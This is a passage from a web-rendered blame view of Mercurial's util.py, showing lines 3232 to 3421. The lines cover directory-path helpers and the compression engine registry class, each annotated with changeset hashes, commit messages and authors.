util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3232 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3233 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3234 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3235 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3236 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3237 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3238 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3239 def finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3240 pos = path.rfind('/') |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3241 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3242 yield path[:pos] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3243 pos = path.rfind('/', 0, pos) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3244 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3245 # compression code |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3246 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3247 SERVERROLE = 'server' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3248 CLIENTROLE = 'client' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3249 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3250 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3251 (u'name', u'serverpriority', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3252 u'clientpriority')) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3253 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3254 class compressormanager(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3255 """Holds registrations of various compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3256 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3257 This class essentially abstracts the differences between compression |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3258 engines to allow new compression formats to be added easily, possibly from |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3259 extensions. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3260 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3261 Compressors are registered against the global instance by calling its |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3262 ``register()`` method. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3263 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3264 def __init__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3265 self._engines = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3266 # Bundle spec human name to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3267 self._bundlenames = {} |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3268 # Internal bundle identifier to engine name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3269 self._bundletypes = {} |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3270 # Revlog header to engine name. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3271 self._revlogheaders = {} |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3272 # Wire proto identifier to engine name. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3273 self._wiretypes = {} |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3274 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3275 def __getitem__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3276 return self._engines[key] |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3277 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3278 def __contains__(self, key): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3279 return key in self._engines |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3280 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3281 def __iter__(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3282 return iter(self._engines.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3283 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3284 def register(self, engine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3285 """Register a compression engine with the manager. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3286 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3287 The argument must be a ``compressionengine`` instance. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3288 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3289 if not isinstance(engine, compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3290 raise ValueError(_('argument must be a compressionengine')) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3291 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3292 name = engine.name() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3293 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3294 if name in self._engines: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3295 raise error.Abort(_('compression engine %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3296 name) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3297 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3298 bundleinfo = engine.bundletype() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3299 if bundleinfo: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3300 bundlename, bundletype = bundleinfo |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3301 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3302 if bundlename in self._bundlenames: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3303 raise error.Abort(_('bundle name %s already registered') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3304 bundlename) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3305 if bundletype in self._bundletypes: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3306 raise error.Abort(_('bundle type %s already registered by %s') % |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3307 (bundletype, self._bundletypes[bundletype])) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3308 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3309 # No external facing name declared. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3310 if bundlename: |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3311 self._bundlenames[bundlename] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3312 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3313 self._bundletypes[bundletype] = name |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3314 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3315 wiresupport = engine.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3316 if wiresupport: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3317 wiretype = wiresupport.name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3318 if wiretype in self._wiretypes: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3319 raise error.Abort(_('wire protocol compression %s already ' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3320 'registered by %s') % |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3321 (wiretype, self._wiretypes[wiretype])) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3322 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3323 self._wiretypes[wiretype] = name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3324 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3325 revlogheader = engine.revlogheader() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3326 if revlogheader and revlogheader in self._revlogheaders: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3327 raise error.Abort(_('revlog header %s already registered by %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3328 (revlogheader, self._revlogheaders[revlogheader])) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3329 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3330 if revlogheader: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3331 self._revlogheaders[revlogheader] = name |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3332 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3333 self._engines[name] = engine |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3334 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3335 @property |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3336 def supportedbundlenames(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3337 return set(self._bundlenames.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3338 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3339 @property |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3340 def supportedbundletypes(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3341 return set(self._bundletypes.keys()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3342 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3343 def forbundlename(self, bundlename): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3344 """Obtain a compression engine registered to a bundle name. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3345 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3346 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3347 |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3348 Will abort if the engine is known but not available. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3349 """ |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3350 engine = self._engines[self._bundlenames[bundlename]] |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3351 if not engine.available(): |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3352 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3353 engine.name()) |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3354 return engine |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3355 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3356 def forbundletype(self, bundletype): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3357 """Obtain a compression engine registered to a bundle type. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3358 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3359 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3360 |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3361 Will abort if the engine is known but not available. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3362 """ |
30438
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3363 engine = self._engines[self._bundletypes[bundletype]] |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3364 if not engine.available(): |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3365 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3366 engine.name()) |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30437
diff
changeset
|
3367 return engine |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3368 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3369 def supportedwireengines(self, role, onlyavailable=True): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3370 """Obtain compression engines that support the wire protocol. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3371 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3372 Returns a list of engines in prioritized order, most desired first. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3373 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3374 If ``onlyavailable`` is set, filter out engines that can't be |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3375 loaded. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3376 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3377 assert role in (SERVERROLE, CLIENTROLE) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3378 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3379 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3380 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3381 engines = [self._engines[e] for e in self._wiretypes.values()] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3382 if onlyavailable: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3383 engines = [e for e in engines if e.available()] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3384 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3385 def getkey(e): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3386 # Sort first by priority, highest first. In case of tie, sort |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3387 # alphabetically. This is arbitrary, but ensures output is |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3388 # stable. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3389 w = e.wireprotosupport() |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3390 return -1 * getattr(w, attr), w.name |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3391 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3392 return list(sorted(engines, key=getkey)) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3393 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3394 def forwiretype(self, wiretype): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3395 engine = self._engines[self._wiretypes[wiretype]] |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3396 if not engine.available(): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3397 raise error.Abort(_('compression engine %s could not be loaded') % |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3398 engine.name()) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3399 return engine |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3400 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3401 def forrevlogheader(self, header): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3402 """Obtain a compression engine registered to a revlog header. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3403 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3404 Will raise KeyError if the revlog header value isn't registered. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3405 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3406 return self._engines[self._revlogheaders[header]] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3407 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3408 compengines = compressormanager() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3409 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3410 class compressionengine(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3411 """Base class for compression engines. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3412 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3413 Compression engines must implement the interface defined by this class. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3414 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3415 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3416 """Returns the name of the compression engine. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3417 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3418 This is the key the engine is registered under. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3419 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3420 This method must be implemented. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3421 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
